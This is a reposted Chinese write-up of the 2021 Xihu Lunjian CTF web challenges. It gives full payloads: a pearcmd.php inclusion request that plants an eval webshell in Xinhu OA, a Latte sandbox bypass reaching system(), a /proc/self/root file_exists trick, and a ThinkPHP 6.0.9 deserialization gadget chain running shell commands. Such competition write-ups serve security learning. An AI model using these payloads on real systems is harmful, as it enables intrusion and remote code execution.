2021-西湖论剑-Web-Writeup

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021-西湖论剑-Web-Writeup相关的知识,希望对你有一定的参考价值。

前言

师傅们随便看看吧。。排版可能不太好,第一次用飞书,wp有一部分是学长写的,弄到csdn上也懒得重新排版了。。。

oa?RCE?

首先先看到一个登录界面

先试一下弱口令admin/admin123进入后台
后台功能点很多,试了下网上的poc,结果没有写入权限。开始审计代码
发现有个phpinfo的路由,访问一下发现了开启register_argc_argv。
时发现这个cms的文件包含点特别多,但是很多都限制了文件后缀,比如Action.php,这里我恰好在index路由中找到了一个只限制后缀为.php的路由,这样就想到了包含pearcmd.php进行文件包含。


自己写个路由调用
$this->jm->base64encode(’…/…/…/…/…/…/…/…/usr/local/lib/php/pearcmd’);
之后给surl复制为上述值即可。

找到可以利用的文件包含点和可以写入的路径,一开始打算写入/tmp目录然后再包含的,但是不知道为什么没成功,之后联系了这个cms别的漏洞,找到了模板包含的rce,利用那个路径发现可以写。
直接用pear将webshell写入/var/www/html/webmain/flow/page/hello.php,蚁剑连接,执行readflag得到flag

GET /?+config-create+/&m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA&/<?=eval($_POST[1])?>+/var/www/html/webmain/flow/page/hello.php HTTP/1.1
Host: 9615689b-066c-4715-a953-31c4a8bd43b7.oarce-ctf.dasctf.com:2333
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=0e965b20e85a8241e07267c188927802; deviceid=1637373701994; xinhu_mo_adminid=jj0jl0lnn0lln0lnn0lhh0jn0lhh0tg0lnt0lnx0lnx0jg0jl0jk0sg014; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

EZupload

注释里?source=1拿到源码

<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\\Engine;
$latte->setTempDirectory('tempdir');
$policy = new Latte\\Sandbox\\SecurityPolicy;
$policy->allowMacros(['block', 'if', 'else','=']);
$policy->allowFilters($policy::ALL);
$policy->allowFunctions(['trim', 'strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);

if(isset($_FILES['file']))
    $uploaddir = '/var/www/html/tempdir/';
    $filename = basename($_FILES['file']['name']);
    if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..'))
        die('no');
    
    $file_conents = file_get_contents($_FILES['file']['tmp_name']);
    if(strlen($file_conents)>28 or stristr($file_conents,'<'))
        die('no');
    
    $uploadfile = $uploaddir . $filename;
    
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) 
        $message = $filename ." was successfully uploaded.";
     else 
        $message = "error!";
    

    $params = [
        'message' => $message,
    ];
    $latte->render('tempdir/index.latte', $params);

else if($_GET['source']==1)
    highlight_file(__FILE__);

else
    $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);

方法很多了,这里只给出学长的那种方法了。
其实就是latte的模板渲染rce,但是ban掉了除了trim和strlen之外的所有函数,考虑blackhat中提到的使用控制字符来绕过正则即可:

POST /?1=ls HTTP/1.1
Host: 
Content-Length: 215
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----pops
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------pops
Content-Disposition: form-data; name="file"; filename="index.latte"
Content-Type: application/octet-stream

=system%00($_GET[1])
------pops

%00那里记得url解码就行。

灏妹的web

打开网页没啥东西,扫一下发现存在.DS_Store泄露,但是里面没什么东西(bushi)。
拿工具:

发现递归下载了idea下面的东西,有dataSources,就是IDEA里面配置数据库源可以直接在IDEA里面执行SQL语句的东西了。但是下载的是403,没有这个东西。
查了一下这东西应该是dataSources.xml,访问即可得到flag:

EasyTp

进入页面提示是:

Error! no file parameter
highlight_file Error
 

传?file然后先是file_exists然后给个hacker:

不管怎么样只要file_exists返回true都给hacker,但是进入页面的时候还有个highlight_file,考虑到是安恒的web题,可能赵总出题,联想一下WMCTF2021的Make PHP Great Again的读一下文件:

http://a10539f5-4345-4f22-a9a3-ba4c47b9da6f.easytp-ctf.dasctf.com:2333/public/?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/app/controller/Index.php


<?php

namespace app\\controller;

use app\\BaseController;

class Index extends BaseController

    public function index()
    
        //return '<style type="text/css">* padding: 0; margin: 0;  div padding: 4px 48px; acolor:#2E5CD5;cursor: pointer;text-decoration: none a:hovertext-decoration:underline;  body background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px; h1 font-size: 100px; font-weight: normal; margin-bottom: 12px;  p line-height: 1.6em; font-size: 42px </style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
        if (isset($_GET['file'])) 
            $file = $_GET['file'];
            $file = trim($file);
            $file = preg_replace('/\\s+/','',$file);
            if(preg_match("/flag/i",$file)) die('<h2> no flag..');
            if(file_exists($file))
                echo "file_exists() return true..</br>";
                die( "hacker!!!");
            else 
                echo "file_exists() return false..";
                @highlight_file($file);
            

         else 

            echo "Error! no file parameter <br/>";
            echo "highlight_file Error";
        

    

    public function unser()
        if(isset($_GET['vulvul']))
            $ser = $_GET['vulvul'];
            $vul = parse_url($_SERVER['REQUEST_URI']);
            parse_str($vul['query'],$query);

            foreach($query as $value)
            
                if(preg_match("/O/i",$value))
                
                    die('</br> <h1>Hacking?');
                    exit();
                
            
            unserialize($ser);
        

    

再拿?s=1看一下tp的版本是6.0.9,说明要找反序列化的链子来攻击。
至于那个正则的话,考虑到是parse_url,直接利用trick绕过即可:
https://www.cnblogs.com/tr1ple/p/11137159.html
接下来就是反序列化链。找到了这么一篇文章:
https://xz.aliyun.com/t/9405#toc-3
但是打不通,根据思路复现一下,主要的问题在于6.0.9版本的这里进行了waf,闭包必须是
Closure类的实例:

再往上看一下getJsonValue:

跟文章里面的调用差不多,所以只是换了个地方,改改链子的参数即可:


<?php
namespace think\\model\\concern;

trait Attribute
    private $data=['feng'=>['feng'=>'cat /*']];
    private $withAttr=['feng'=>['feng'=>'system']];
    protected $visible = ['123'=>'feng'];
    protected $json = ['feng'=>'feng'];
    protected $jsonAssoc = true;

trait ModelEvent
    protected $withEvent;


namespace think;

abstract class Model
    use model\\concern\\Attribute;
    use model\\concern\\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    


namespace think\\model;

use think\\Model;

class Pivot extends Model

echo urlencode(serialize(new Pivot(new Pivot())));
?>

以上是关于2021-西湖论剑-Web-Writeup的主要内容,如果未能解决你的问题,请参考以下文章

WP-2021西湖论剑

2021西湖论剑-wp

西湖论剑2021中国杭州网络安全技能大赛部分Writeup

西湖论剑2021中国杭州网络安全技能大赛部分Writeup

西湖论剑2021中国杭州网络安全技能大赛部分Writeup

[西湖论剑2022]Misc-机你太美